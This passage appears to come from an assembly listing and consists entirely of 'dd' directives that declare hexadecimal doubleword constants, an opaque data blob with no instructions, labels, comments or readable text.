		dd 0FDC81D8Eh, 6B392C72h, 0F4147E4Bh, 21C8EF7Ch, 0AB9108FCh
		dd 5477CE84h, 0A00048E2h, 0BB174735h, 92075BC2h, 0E96A848h
		dd 335A2320h, 5E1800CDh, 64E6C540h, 6D73CBADh, 0A7D10960h
		dd 0BE30E2A3h, 4019E470h, 2217FEC1h, 9B340013h,	0EAAA6D82h
		dd 51011E3Ah, 90D7AE6Eh, 0D834692Fh, 435E401Bh,	0C083BC28h
		dd 25B69D22h, 9019E3BFh, 11EFD28h, 0D42C7865h, 0B5DAFEA0h
		dd 79B0DD00h, 8C4BCB6Ch, 0D9D50053h, 332F5161h,	6CFF4FADh
		dd 422040C8h, 9AD74D00h, 2618C3D2h, 954600BAh, 810B99ADh
		dd 0D41EA460h, 18BB3C54h, 57801A35h, 0C59424FDh, 92A589C4h
		dd 103B4041h, 0CF1CDC76h, 0DBE03861h, 751F3CABh, 1A64B900h
		dd 0C53EA882h, 0E973017Ch, 0BF53A015h, 0A2C2079h, 21FFA640h
		dd 0F20713F8h, 0AAF0C0FAh, 32B0925h, 21671A1Eh,	0CE8E552h
		dd 0A60290A3h, 0BF97471h, 0E424C2E0h, 0EFD507CCh, 2388255Eh
		dd 0E000B1CAh, 0CD813697h, 7A781458h, 5C511753h, 1170097Bh
		dd 509B444h, 3496334h, 0A0B415D4h, 0D4E35Fh, 9A10BB44h
		dd 533E7AC2h, 0CFB671Dh, 404F888Fh, 1E2DE9E6h, 3D373DE2h
		dd 86DE412h, 0DB96F950h, 83A81C90h, 5EC60009h, 46427E52h
		dd 0C30B36BFh, 252C3271h, 10CA5A38h, 283D6600h,	8CC6ED9Fh
		dd 0C3E27F00h, 1434C24h, 35FD01B9h, 0BC60164Dh,	7AE822EEh
		dd 0B200AC73h, 319EAE83h, 97DC65Eh, 5A52BADh, 801E7300h
		dd 27131393h, 0E021AE72h, 81965F54h, 0DC9001F1h, 5082E8D1h
		dd 0BA8D210Ch, 0D6330E00h, 0AB67CBBDh, 7257062h, 71730766h
		dd 32DF01Bh, 55057EC5h,	63D6ECCDh, 5D7A488h, 0C8DE91D9h
		dd 0B1A091F6h, 0DF118692h, 296253h, 7368CFFCh, 575A7881h
		dd 18EC510Bh, 65E44829h, 7E8B974h, 2187CC68h, 0D98969B6h
		dd 94402EEEh, 760EBC19h, 11A200BBh, 0EBC34036h,	0D4B664D7h
		dd 0A99DB641h, 1B262876h, 0C9595068h, 788F1C00h, 33BD74CEh
		dd 1E830B0Dh, 582A5CBEh, 76596C98h, 0A749FD0Fh,	8FDF6115h
		dd 36D5537Bh, 54767040h, 0F1C8B067h, 0F8D85310h, 11F76E25h
		dd 84076D7Ch, 4786088Ah, 39180FA5h, 0DE1E595Eh,	0FA4217EAh
		dd 40A86E8Ch, 0F1EEFDh,	0E2183432h, 5172FF33h, 1F44909Eh
		dd 3688E108h, 0FAFF8C66h, 5D050359h, 63DB664h, 9D509BC0h
		dd 54789EB1h, 33E1EC0Eh, 3852AAFEh, 0E2F71E84h,	1518B1C0h
		dd 0F8E51DC0h, 504F18B4h, 0B242D94Bh, 5C64D80Ah, 0E0894FD0h
		dd 6D385CD0h, 0ED557FA4h, 7AD44798h, 5E7340A0h,	9D02FF50h
		dd 0E90ACD11h, 0B42C6066h, 83410E1Ah, 30A05B73h, 4DE87AACh
		dd 2BDAC61Dh, 0ABE7FB01h, 0C0D51BA6h, 88256860h, 9527886Fh
		dd 78B1509Bh, 7CC0BDECh, 8000C24h, 69B29A3Ch, 1DF4A5h
		dd 0AE42205Dh, 0C341F74Eh, 0A4FFF0A0h, 4056781Dh, 3E538180h
		dd 0F0446E59h, 9FD7054Fh, 0F9AAD1Fh, 0C09DC688h, 0BC52EEAh
		dd 4E01CD69h, 135F7252h, 0A246814h, 4FC248D8h, 3FBFF901h
		dd 0F86012ECh, 0A45F754Ah, 0E71DA460h, 58421C04h, 0D4E1C179h
		dd 0D08C47AAh, 0F9007375h, 13F29A78h, 472F6A7h,	7603E901h
		dd 1E0CA82Dh, 0DBD37CAFh, 92C09CD0h, 3970050h, 0FA28C42h
		dd 82065BA7h, 304896B2h, 7B6809D8h, 0AC10A8E8h,	145FB4D9h
		dd 9E009BE8h, 72543A89h, 520EEE2Ch, 97FD1D09h, 8F47F0C0h
		dd 0B7D92448h, 8686428h, 60A024BCh, 592C157Fh, 5150A113h
		dd 14913C8Fh, 20484FE1h, 8F56A6Ch, 727B0C07h, 10285571h
		dd 3A5281h, 54DF1130h, 0F4907794h, 9CDBF480h, 414Ch, 32B15F67h
		dd 7377930Bh, 91ECB4B5h, 65CE02A9h, 803351ADh, 4BCD6888h
		dd 7E870055h
		dd 0CC67A2FFh, 80A0736Ch, 7B755FC3h, 0C1495h, 85115573h
		dd 0DABF175Fh, 0F00420B9h, 48F2F7E1h, 1EA87B2Ch, 969D657h
		dd 68D30B4Ch, 0AC251380h, 1A7938h, 0A824D137h, 0B091A61Fh
		dd 0B79F8A00h, 0D8334C54h, 98584A63h, 4CE1E170h, 8C90FD4Ch
		dd 0CAD77480h, 0DEC00600h, 296F8849h, 709D5D53h, 89AB7285h
		dd 0F0272A40h, 33BCE3AEh, 4524E8E3h, 0C23D00DAh, 8423C83Ah
		dd 87F875B7h, 6A927305h, 78CC3267h, 0C70B00E7h,	2682B315h
		dd 87033D63h, 907B9776h, 68EE8959h, 61C0F438h, 4F108936h
		dd 0A29DF012h, 48F21500h, 264F65Dh, 6094B99Bh, 88E608C5h
		dd 0BF80527Fh, 8BDCB9D9h, 0A80E44CCh, 0FECD8790h, 3C88211Ch
		dd 0B80097F3h, 19305F9Fh, 0F2054E47h, 0E1BEDF8Dh, 4C72048Ch
		dd 67005E6Eh, 9304F0E2h, 0BCB657F6h, 5B0138A8h,	58C6C2D9h
		dd 0EE0046BEh, 0F2010396h, 188EEC77h, 0A8CCFAA9h, 60535E76h
		dd 8C2B8080h, 50C14892h, 78A5DF46h, 13E49470h, 0F6755D8h
		dd 403F619Ch, 897CF33Ah, 7514F26h, 0D188C0C1h, 828608C0h
		dd 9F1A1893h, 0A040C012h, 6881A86Bh, 0CCC54031h, 4ACFC3Ch
		dd 8822924Ah, 0B0611AE5h, 5814EEC5h, 0C8823095h, 80E6E2E1h
		dd 0DB1866F0h, 0C30A6D2Bh, 5BB60070h, 0A2F73318h, 4209A40Dh
		dd 20CD28D8h, 0D4DFFCACh, 0A928A112h, 0DD2C6432h, 0B410AD54h
		dd 1502AD1Ch, 30BC3AF6h, 0EA4465F4h, 201C1F74h,	5E371911h
		dd 31776F7Ch, 3A999D80h, 472D8F46h, 878011D9h, 28480A04h
		dd 3C469398h, 0BD18219Ch, 99788788h, 129CB042h,	220CDCBEh
		dd 0D62024FCh, 7D7A68BBh, 69270021h, 0EAC2130Eh, 0DE0062B3h
		dd 0D9889364h, 9A45BDDBh, 0ACA26Ch, 0EC78A185h,	0E2149694h
		dd 0D45E5ACEh, 0B26717C0h, 0E8650075h, 9ECC0F20h, 0DB00E7DDh
		dd 432E62ACh, 0B690F38Fh, 0E533025Ch, 0ACE00F17h, 540E86F0h
		dd 0A0786F43h, 0FAE8DBD7h, 82B033Bh, 0E9B3D945h, 6C881114h
		dd 24884A14h, 0FB300B2Ch, 28808BF3h, 0ED49110Bh, 0FD41714h
		dd 46A900B4h, 0E0B3595Bh, 724F0093h, 835E89EFh,	0D848BDC5h
		dd 6DE0C040h, 1DF0FB04h, 1DDD787h, 0B015FEB5h, 41F461A3h
		dd 0FC7882D8h, 0A4098D4Eh, 77F19Fh, 73F81831h, 0E03A00FCh
		dd 0BC1CDFD6h, 0C309F924h, 0FB1A7165h, 0E6218FECh, 0A8423720h
		dd 5500A545h, 74B6ECC2h, 0E8B7B389h, 19A01250h,	48C89635h
		dd 0C7C00745h, 0E4D517DFh, 0CDA03061h, 0F8BB2A6Ch, 0A8333F88h
		dd 0AD9D22A4h, 1C402EE7h, 213A7E8Bh, 3D870038h,	41B619CFh
		dd 4930067Ch, 6E182067h, 84FC992Ch, 8EB19CEBh, 0F04E8960h
		dd 7174206Ch, 48F0A481h, 3E00E984h, 0A4D3EA0Eh,	96571AEh
		dd 5466EB76h, 0F9A72C10h, 11CB7F00h, 4058148h, 4B52075Ch
		dd 34321040h, 8254A779h, 59B518E1h, 40A51E38h, 31E44BB2h
		dd 9C04377Dh, 0F00BEF8Ah, 761EA200h, 2F1816B6h,	0C5106F6h
		dd 283125D6h, 330D1844h, 0E0FD7A4Dh, 0B02CE420h, 0CD2904BEh
		dd 0E31AA665h, 87EC04F4h, 64C2D7A4h, 0D9592391h, 11B27888h
		dd 5287F300h, 0CCB92503h, 5086E657h, 37D7086Ah,	0A22979B1h
		dd 0CC790EFEh, 4BC60539h, 0EC5C90DAh, 1680FC1Fh, 0B4295B89h
		dd 0D6B600F6h, 0F1A6E1DAh, 2E0055EDh, 6C891B4Ah, 0F0581CB3h
		dd 6E901201h, 4CA830CDh, 1FF2A574h, 0F8301A26h,	281E326Eh
		dd 5B4F0922h, 2C7993A3h, 7ABE50Bh, 825BF0FDh, 60704B4Ch
		dd 953738Fh, 83E44269h,	0D65E9C80h, 37009FB9h, 73604948h
		dd 2E1ACFBh, 234FDC7h, 0C8E0A74Eh, 0CD500C54h, 0E95CCF80h
		dd 71B00582h, 827AB69h,	47384099h, 6304305Eh, 779285A2h
		dd 0E46BBCB6h, 189038h,	2490E1E0h, 802FAA9Bh, 2C31AD2Eh
		dd 0B66C046Bh, 35B3D620h, 52F63302h, 4D5369EFh,	16689314h
		dd 0F8A3C0h, 19DED7C7h,	247177B8h, 5220A9FCh, 5D408C54h
		dd 1A2258Eh, 0D09F3E5Eh, 0D562062Ch, 4C33C4F7h,	0B0430412h
		dd 7D41E400h, 9FF7479h,	6C71272Dh, 780058F1h, 609F4A46h
		dd 0ABDA02E9h, 73074D49h, 0B2B83840h, 0EF3E5114h, 1F8B0070h
		dd 0F07DD2FBh, 6DE1109Fh, 40AF0057h, 50A568E9h,	1D5642DAh
		dd 202B54h, 0EDC1260Bh,	46CA2018h, 0E42EE503h, 0E0A5291Bh
		dd 4F264360h, 0DA2820F3h, 6907319Bh, 0CC769DC3h, 0A84A5620h
		dd 0E65309CBh, 58003F1Ah, 70A466A7h, 1889B100h,	171FA01Eh
		dd 0A8A0719h, 0B09656F8h, 0F76B884Ch, 0C95E7303h, 0E025E2D6h
		dd 221949E7h, 65276030h, 4D1C987Bh, 8234B0C2h, 41EC7670h
		dd 0F5DEE8BBh, 811869FEh, 59F873EFh, 70FB5DCCh,	2BAF0168h
		dd 912AA1Bh, 32FDFC86h,	0CF7F3F1Fh, 1E4E2301h, 308357ACh
		dd 0C0D53B97h, 8AC003E3h, 1309CEA6h, 0C8FFC360h, 366F1E8h
		dd 575B0390h, 9DD3E0ABh, 0D4DFF80h, 113F902h, 5C7BDFC9h
		dd 413F1370h, 0CC342B0Ch, 341E2BC7h, 72B6C500h,	4BFFD64h
		dd 0D7DD3266h, 80D0FDBAh, 0C70BD5B7h, 0AB162FA0h, 2B970890h
		dd 4698EF16h, 0B15424CCh, 0C2448054h, 0F93DE441h, 0C858C53Dh
		dd 50AC4638h, 81244B6Ch, 0AD01B440h, 0A4C37865h, 672093h
		dd 8D97338Ch, 0F716A776h, 2CC291CCh, 7465222Fh,	11E05488h
		dd 90762D5Ah, 0A04FEA20h, 0FDFEDCh, 0A37E8C0Eh,	8DB5FFCFh
		dd 134B9700h, 92F8D6E8h, 971C7894h, 7F8F0410h, 6E2B51Eh
		dd 97394501h, 8BE49AE0h, 0E1EB0905h, 0E05A6431h, 1890DB4Eh
		dd 0D68980h, 587C917Bh,	192C6ADFh, 96815205h, 0C0801B3Fh
		dd 8A8215h, 517330E2h, 19E0507Eh, 544F951Ah, 22944CC8h
		dd 84B5BC11h, 0AF42132Ch, 0B8847343h, 0F4040BBh, 1E25BC4Ah
		dd 413C0158h, 0E0297315h, 65F0704Dh, 90BF58h, 0E8B4871Dh
		dd 0EA668B5h, 49469DEFh, 2B8E2D2h, 0B6853505h, 0C24461BAh
		dd 4000282Ch, 0CD5A797Eh, 3099A77h, 720EDDBFh, 859421DCh
		dd 481D2B11h, 0D9F80F8h, 0AAC29AE7h, 4B80BE1Ch,	255DC400h
		dd 7BAA25Bh, 48221E9Bh,	8753409Dh, 0FE00F255h, 0D3E0C9D0h
		dd 0B4011266h, 0B83E8038h, 255C359Ah, 8F36D902h, 0D4EC4BEFh
		dd 81ED40A4h, 0EA0CA5DBh, 39A969CCh, 5B070BF4h,	1851F1E2h
		dd 0B0B1F4A8h, 3B286760h, 0FBC2002Ah, 517B30FDh, 0BE19F12Fh
		dd 54514EDAh, 0D2938661h, 0E09C16C5h, 0A6125210h, 900CD3Fh
		dd 13429D7Ch, 4DF2056Eh, 0C14B56D0h, 0E8CE6234h, 45259032h
		dd 4440E6E3h, 8C0038BCh, 41DBC2B0h, 0D39487h, 11AC3FFBh
		dd 0C0EF14FCh, 80B80499h, 0D66B0DEh, 0F7A4F33h,	613C6EE3h
		dd 19555FE2h, 736524E8h, 0F9450094h, 0E0DDCCE9h, 88A521D3h
		dd 48D3854h, 0AF8330h, 0D41CC32Fh, 4B33E547h, 0C2EB7A00h
		dd 0BE6AD9DFh, 502096DEh, 1A0AE849h, 945BCD78h,	7B73FF00h
		dd 106690Eh, 0E73275E0h, 294E41FBh, 1A2D0030h, 67861E84h
		dd 2CF60CF3h, 0F1118302h, 109FC4F8h, 9DA794h, 0E4EBA1ABh
		dd 781FD64Fh, 94D810B5h, 0C0B400E5h, 0FDBE950Eh, 5F03AB24h
		dd 722A8550h, 0E0168B59h, 0B5AA68ECh, 7A7B2011h, 3C735829h
		dd 78F3DA00h, 0C0D9F9F1h, 650E7B7Ch, 9DC347ADh,	34C5E5h
		dd 6E0FC4D0h, 4B00D369h, 849081FBh, 0E07FC67h, 0E3758FDCh
		dd 0B9043212h, 0A8B7CA20h, 396A0078h, 5C5251FDh, 0D9048CE3h
		dd 3BF3AC90h, 1369D380h, 0FF450078h, 66CBE1BFh,	50000FFCh
		dd 73902FC7h, 16F9747h,	192D1CF7h, 0DC52A0DFh, 0C5165E1Ah
		dd 0C01E93Fh, 898B22C8h, 79BAC4Ch, 75EA4EA2h, 0CD93E0E0h
		dd 0A890C726h, 48F1444h
		dd 0E1B734Eh, 1CC4C2CFh, 8A5E2910h, 6913C8Eh, 0B18944B7h
		dd 8544B08h, 77426450h,	318B2F12h, 0FC76204Ah, 83F0C110h
		dd 0A7073923h, 3230FA3Ch, 0B24B7950h, 81EA4859h, 900EFE13h
		dd 0D3FA73B4h, 15894500h, 52721CADh, 0C611CBD4h, 3A7768C4h
		dd 8D5E2B00h, 51FBF4BBh, 0C8624CE6h, 9CC4DF81h,	38236EB9h
		dd 1A391CF6h, 0A500BE7h, 510068F1h, 0DD42D99Ch,	0CB805FEh
		dd 0B82B63D6h, 0E1BD8704h, 207CD909h, 0DCBF371Ch, 9A0CF71h
		dd 14797C98h, 2DC38A5Ch, 0F6BC4416h, 0E464CE7h,	82BAF20Eh
		dd 0B27DC09Ch, 2A19B192h, 1002B4Dh, 0BF5E2F4Eh,	434FADAh
		dd 6ACB05F0h, 0A2757827h, 4C660544h, 4CAD5467h,	0BC807F3Ch
		dd 86476FB9h, 69FC6CC4h, 0F57BCF00h, 524E7119h,	487262CCh
		dd 0EF05ABC9h, 0FEC36400h, 7DD6FD7Dh, 0ADCB1635h, 0CC140B3Ch
		dd 0A5655448h, 0EF344F09h, 0D6981852h, 3B630076h, 1AA46ED2h
		dd 0FD0124F1h, 0ED44E072h, 0DB2918h, 0F27A76A1h, 389F82Ch
		dd 53A48803h, 6673E70h,	18343520h, 0ADF0E14Eh, 15794900h
		dd 0D7554FC3h, 13480B17h, 5064C7F1h, 0BCDBF244h, 1DE3ACF0h
		dd 5B32C040h, 0A6793E35h, 0D1C73100h, 9B3B1B9Ah, 811EB8DDh
		dd 6511A0B8h, 234C7371h, 90032F35h, 0D9F98F45h,	0FF8708B5h
		dd 30888038h, 6FEB5204h, 5C338CC8h, 1AC8385Ch, 0BE802D80h
		dd 0F68825F1h, 0CE6A01C9h, 53BF481Bh, 4F919DC6h, 1987B0A9h
		dd 0B180EB76h, 5DC884h,	6785A35Eh, 0F0531F9Ch, 88FC20B7h
		dd 6A71B4h, 28217EEEh, 3FBBCB55h, 431D3402h, 76E4BE69h
		dd 219C4464h, 0F5E86CCDh, 57A6029Dh, 1EA74F87h,	0BED701E0h
		dd 0CEDBC900h, 197801FAh, 2D120ED6h, 6FE0D44Eh,	0BFF81BD7h
		dd 20DA5225h, 0FEE45414h, 5F2002Ch, 0EF53994h, 0AFE65538h
		dd 3BD8711Dh, 99C0D95h,	724B464Eh, 0DFFE01F4h, 706C8EDCh
		dd 54804C4Fh, 0FCFA8604h, 788155A4h, 0A4709D21h, 0BF58403Bh
		dd 9DB0DB58h, 0A891D58h, 6E930023h, 4F4294E5h, 6D0FE10Eh
		dd 60A9995Ch, 0EEA66A38h, 0D8012472h, 354D0EFDh, 88CC8082h
		dd 0CE14DC40h, 4980B099h, 5DCACF7Ch, 0F8E6048Bh, 0F455941Bh
		dd 1200D4ACh, 0E327C9C6h, 0E49A8F09h, 0FD2F128Eh, 0C02CF4DAh
		dd 4DF17400h, 96B6D843h, 0E44A029Eh, 75AAA297h,	5E93F884h
		dd 0C71C1040h, 7340FCh,	78915F4Fh, 3414F77Bh, 0A5D48E13h
		dd 55C59000h, 389CE987h, 885E4D47h, 60012644h, 0C965A95Bh
		dd 0E8EC1A68h, 4ACE7E33h, 780C8B7h, 71F70D1Fh, 596E1C0h
		dd 0E15476CDh, 7977D0h,	43EC09Bh, 0BBDCA213h, 3744E490h
		dd 987C4865h, 84C93FC8h, 15E5C08h, 0DFCC6E44h, 844B3BA7h
		dd 4C858FFh, 72F933D8h,	0F8193147h, 8A7F1C08h, 5788541Fh
		dd 68F07380h, 97D27C0Ah, 0F3CEE880h, 10059A2h, 0CBDD947h
		dd 9061BC92h, 335A05CCh, 0C1DFB4D1h, 7CD6BE16h,	0CE5480A4h
		dd 912BD11h, 8FFD3786h,	70F84010h, 10685325h, 0A86288h
		dd 1D5DE7CBh, 0A4427ED8h, 58E8C87Bh, 0BD3B5607h, 0E381D361h
		dd 70F5460Fh, 6800AC21h, 0BEBF22Eh, 14E7D566h, 540B242Bh
		dd 0E2818CD9h, 4A5A3271h, 8382C43Fh, 2109EEB8h,	0D17326A6h
		dd 66044E14h, 0D09E87C1h, 75112FECh, 0C412300h,	0FB9B4204h
		dd 557C0069h, 9050F236h, 18BD727Ah, 3868A6F4h, 20A49FA3h
		dd 0D8813930h, 218E06B3h, 0C8D1FA4Ah, 0A70F1500h, 0F3720BCh
		dd 52D2F5EBh, 63F102DEh, 87CC888h, 9FE1C040h, 0BD80081h
		dd 9950F495h, 390008AFh, 214F25CFh, 2D6CBBDh, 0DABE77E9h
		dd 6CC4151Fh, 42545340h, 0BAE002ADh, 24583F18h,	39F0CC77h
		dd 4A60AA07h, 0BDBFFF87h, 80B0602h, 55B8E0C5h, 31E07B7Ah
		dd 8B68FE30h, 76540207h, 0D9134148h, 94D8C46Fh,	8973FF01h
		dd 0CBD043F5h, 4B00B438h, 2C72B72Bh, 9E0B4723h,	4B292CCh
		dd 0B253CA18h, 75140034h, 57484EDh, 7DE400AAh, 0B992960Dh
		dd 72512A18h, 502218h, 4C3C8E7Eh, 127CE90h, 3A7C3BFh, 0E63A5985h
		dd 0A04F2C54h, 0CF3DC60Eh, 0A86E0013h, 0EB4A6979h, 6500723Fh
		dd 0CC6B06FEh, 790A2F7Ch, 0B4781689h, 2D6022ABh, 10705411h
		dd 0AFF8864h, 716B7F00h, 0E0CADB36h, 0DA602875h, 0C44F4A98h
		dd 2982438h, 0FC0AF080h, 4210780Bh, 2045306Ah, 12BCEFEEh
		dd 887E65C1h, 5C842908h, 9E032477h, 20940455h, 901856E4h
		dd 3F5371C6h, 0FCDC2CFFh, 0F288E496h, 6890A08Ch, 0A52607A1h
		dd 6069CD0Dh, 0EDEB582Ah, 32E5C00h, 0F4528871h,	0ED9843h
		dd 0EBC493Ch, 2AC48264h, 0B8B25C00h, 61147069h,	0FD7617C3h
		dd 2990889Ah, 6E888h, 4BA2BDA5h, 0A4964FA0h, 0C4D60400h
		dd 0B7F9EC25h, 5E4102FDh, 0CCC5372h, 0C705C41h,	18DC5CD7h
		dd 525CA13h, 0E8F2DF3Ch, 30EC08Ch, 700CABh, 0ADBEB9FFh
		dd 698FC926h, 0CDEF270Fh, 5402F667h, 0F8022C6Ch, 0E9F73888h
		dd 5C00CC58h, 0C768F6FBh, 0DE0CD3D7h, 1869E29Dh, 0DF22394Ch
		dd 0BC391Fh, 0AE1EE7A6h, 67EE8B4Dh, 72001777h, 3419BB48h
		dd 64FFCC68h, 82F0994Ah, 21205D10h, 0BEF96C7h, 188F5311h
		dd 4E00E87Ah, 0C6712B7Eh, 31BF1306h, 0DB41FFE2h, 3AFC500Fh
		dd 9F985186h, 7D33E402h, 0DE653219h, 409EE068h,	3F01FEE5h
		dd 0ED35EA17h, 0CC605964h, 0C8AB04D4h, 0A4919D46h, 0DF50D7D8h
		dd 55268F0Ch, 0BC26E075h, 4098F862h, 1C59C78h, 0ACE4C6F2h
		dd 2FC9431Fh, 5C874028h, 20C8D850h, 0B4F8DF01h,	66C9E0CCh
		dd 9504CDF0h, 5293ACC5h, 12199088h, 40C0EEA4h, 0F7A92F96h
		dd 8007DE59h, 0A640252Bh, 0F600B8DAh, 6813BEF3h, 7B7703C3h
		dd 4395093h, 87E4B8CDh,	97C0515Dh, 0EEA88C1Eh, 7829F2BEh
		dd 4C494442h, 54109F8Eh, 0F203256Eh, 53FB66F5h,	99B0B77Dh
		dd 1A508D6Ch, 29207E27h, 0D6459C7Ch, 0EB3EB8E8h, 0AC832800h
		dd 0EDEEAA66h, 26909A03h, 0D2C05E8Fh, 7DB0C2FCh, 88156201h
		dd 7393C076h, 0EBE14500h, 4A24AC68h, 0E4BF2D0Ch, 39DB70E9h
		dd 458B0028h, 3F92B302h, 6B8700B2h, 4B7FD394h, 84BD5AD9h
		dd 0E720DC1Ch, 209F553Ah, 0D49C48F4h, 0D7BE0147h, 724DC1F7h
		dd 2DD5C417h, 7820385Ah, 5A91A9h, 94F78D2Ah, 0BC024483h
		dd 9D62D200h, 189AAA7Ch, 80A738B5h, 43003A3Eh, 289EAE78h
		dd 84B195FDh, 8C08C296h, 8CCE93AFh, 2B4C1980h, 9DC0D864h
		dd 8E0895Fh, 106581F0h,	0C7AFEBh, 0F15D9675h, 412539ADh
		dd 0F7902600h, 3A561FE1h, 968705BBh, 0A9CB13h, 0A8343B54h
		dd 450143EEh, 54A09F8Bh, 3E607A87h, 98964CC4h, 7ECD6203h
		dd 0C002B0A9h, 658A147Bh, 10E47176h, 457FC831h,	0F768CC3Dh
		dd 863FCC00h, 607F6FEBh, 0ABC43822h, 40A3E200h,	2382F38Ch
		dd 67153102h, 465CBCBEh, 3A0200F0h, 0F68BB453h,	3B4A4912h
		dd 1AB13820h, 0C9660E8Eh, 12835EEAh, 4988991Fh,	3AF41561h
		dd 5FE41C00h, 0DC0628A8h, 5E6AE457h, 0C5E04154h, 7138367Ah
		dd 0C1424255h, 0D41BA4E2h, 0CEB527A0h, 0F46C95h, 60C80FFCh
		dd 4A4C3E46h, 6A195407h, 0EB42CC8Eh, 51907CE0h,	748F0C47h
		dd 4090BC99h, 48E98662h, 0ACB958h, 0FC85079h, 0CD3B84h
		dd 11048FE3h, 0AF0CF62Eh, 0EEE6EA04h, 0A50753B8h, 0BBE2A4DAh
		dd 4420D41Eh, 9250FD11h, 0E50D5964h, 481B7177h,	9F5F9430h
		dd 6A402C98h, 20674A3Ch, 0EE6F14E7h, 7E0BDA80h,	340388F4h
		dd 4EA37DECh, 608942C0h, 90B52898h, 5DE758h, 1C987011h
		dd 4ED49206h
		dd 623A49B0h, 0BA360BF5h, 0DCA82EAh, 4D4741Dh, 13AE1F7Fh
		dd 664C8h, 2EA3D9FCh, 0CD3C39BFh, 9F86A112h, 9B7FC600h
		dd 923914Ah, 7456D56Dh,	14240869h, 764420ABh, 34012A13h
		dd 38E612DAh, 76702477h, 888D09A4h, 6004AD7Eh, 0D168491Bh
		dd 5C4AC98h, 696E7Ch, 266B0C88h, 0EC535CBEh, 10771160h
		dd 31374B78h, 0F1D60C44h, 0F4311474h, 0ABC0CCADh, 0E9311AC3h
		dd 0FCC08852h, 0E374454Eh, 796B9D04h, 7EC442EDh, 86FC80A1h
		dd 0C19F5B43h, 116035E4h, 907C7A65h, 92AFE3C7h,	0D4C82DDAh
		dd 18E6EB14h, 9B539401h, 216B5930h, 1174B889h, 4F50C8D4h
		dd 2C2300ABh, 0F7FEE7A1h, 0A7138814h, 0B48061EAh, 486EB3Fh
		dd 0C713AC6Ch, 7310ACB1h, 4B717903h, 0EE05BBF8h, 0A1781098h
		dd 0B5B80FADh, 0F3D0A0E6h, 189AECCBh, 881F0960h, 0B924A7E3h
		dd 0A0315C24h, 41001D38h, 0CB894BDh, 8233E138h,	4A4B7E23h
		dd 3100E0A9h, 0F62700E5h, 4EAC5CB7h, 0A32C88F8h, 0DB00FABDh
		dd 0C45D9D15h, 4801B54Fh, 844CD7CFh, 0C458C40h,	0E8FB0D02h
		dd 0C218280Ah, 7259319h, 49A8EF78h, 7560C397h, 7F10A98Eh
		dd 4000315Ah, 82EFD262h, 0B2752592h, 0F587AB0Ah, 0B50EF358h
		dd 0E6CBC614h, 1D7321E8h, 4435F708h, 80F33CACh,	544BC88h
		dd 84BB20A3h, 2BD6D404h, 2C79BE22h, 393180F8h, 0E681F0h
		dd 172FB36Fh, 0DB84AA38h, 434E9C12h, 5C007CA8h,	4C3CCE68h
		dd 802E6EE2h, 3F0EE954h, 0E1CD80E4h, 98A467B5h,	0B89B1030h
		dd 5FD91426h, 583908F8h, 0BCA0F04h, 0B4E1F960h,	8492BD40h
		dd 1FDD3512h, 0BC7F9C4Ch, 13022610h, 0E0500060h, 8871529h
		dd 84F420C0h, 0A7416686h, 0B818820h, 0B115CCC0h, 9CEC2641h
		dd 795C0960h, 62E5B418h, 0BC465302h, 70109AD4h,	5EB8B080h
		dd 28FC99C4h, 2D5E0008h, 0B4F02C06h, 0FF53702Eh, 60006862h
		dd 264E75E7h, 3201727Bh, 6A875048h, 20836124h, 818F5B52h
		dd 0BEDE500Bh, 737448D9h, 974C01F2h, 9331A8DDh,	3E1069DCh
		dd 91FA03F5h, 0B97EFB4Ah, 0B8409420h, 9472CDFh,	71ED0F42h
		dd 0D9720883h, 0BB2604E0h, 0A8F0542Eh, 96225B40h, 3E4900D4h
		dd 8A582F47h, 0B7031387h, 12F72685h, 4F9EB07Ah,	51730076h
		dd 0B9BAA643h, 0A800FE2Bh, 45813DE4h, 3E214088h, 3001584h
		dd 0D9769DF7h, 618A06DAh, 0E142F14h, 382C5594h,	2BFC7111h
		dd 643C30E1h, 6D37BB00h, 0DF01E0FEh, 0F92D1AEFh, 0E0D00887h
		dd 6CE98203h, 0F098D6D7h, 5C81BB7Dh, 0DA037A1Dh, 70C4BF93h
		dd 5E4460A8h, 0C0191362h, 4339E08Fh, 0D6F0005Fh, 0BAFDE732h
		dd 730F6633h, 0A040B5A0h, 9A2135AAh, 0D3990101h, 7BE5D7C2h
		dd 6918804Dh, 0F2B562FCh, 2D91E7Ch, 3945076Ch, 226580F5h
		dd 8106B2E5h, 0D99FE043h, 5DC60758h, 0A04C77C5h, 95C73534h
		dd 240C8530h, 60FE2EB2h, 8DF828A9h, 427CF171h, 295DBC0Ch
		dd 6CD99E2h, 1B2C69D6h,	1FB06847h, 0AD314E00h, 65025735h
		dd 78CF30E5h, 0DA72E3A0h, 5EE0441Dh, 5F3D4030h,	70026015h
		dd 986CCD87h, 8F588461h, 708CF0C9h, 47A8DFBEh, 6A745F0Fh
		dd 3A1017B9h, 0C8F80094h, 0A91917B2h, 601B60B6h, 4F2C6B33h
		dd 70483A50h, 0ED1DD443h, 0E50A60AFh, 0C0415E39h, 0ECFB5D00h
		dd 53A58DF7h, 4FC474EDh, 0FB383Ah, 0AAFC67F7h, 637CFD62h
		dd 0A21CB503h, 9B4D35A9h, 914806D8h, 0A9F1861Fh, 0FE0458D0h
		dd 60CE830Ch, 0DE1B9B10h, 8890B1ADh, 18662AE8h,	0B0677B9Ah
		dd 0A71E3F83h, 486D968h, 4428B0AEh, 0BE003C71h,	1062C812h
		dd 0F04AA34h, 7C50FAFh,	2C202A01h, 0DF6F30ACh, 281CAD3Ch
		dd 200A67Ch, 1D244712h,	12E91B75h, 0FA16F3h, 7DC2C9F3h
		dd 0A202E731h, 4309ADFDh, 0A4BA6038h, 58EA9Dh, 0BD1869C7h
		dd 0F198A881h, 19220300h, 3BC1E375h, 0D1A203DEh, 8F3A70A5h
		dd 0A0CE7A80h, 1C74F000h, 0F4E2B2BFh, 911000DDh, 58959BD4h
		dd 15007D5Ch, 0B338C698h, 6FC165h, 10537771h, 0B0740506h
		dd 70241C0Ah, 0B6039C38h, 0B8AA9B46h, 1E99046Fh, 405952D1h
		dd 0CDF72B5h, 1F0C747Ah, 0D188F9C1h, 0DB10C03Ah, 0CDE20491h
		dd 11660100h, 0BCEBCBC4h, 85AE0029h, 0F4FF8F06h, 6400B495h
		dd 1BD309C3h, 4F265h, 4E8846F3h, 458FDCCFh, 0DEA7A800h
		dd 5EB841A0h, 30280F48h, 833449FAh, 324E5500h, 0CDA1D0ABh
		dd 0CADB2F01h, 0B97DD68Eh, 35C4E8h, 29FC328Bh, 7A87D223h
		dd 7E555D03h, 0C71080BAh, 0EA371C41h, 0E3B1E4h,	5E65C69Bh
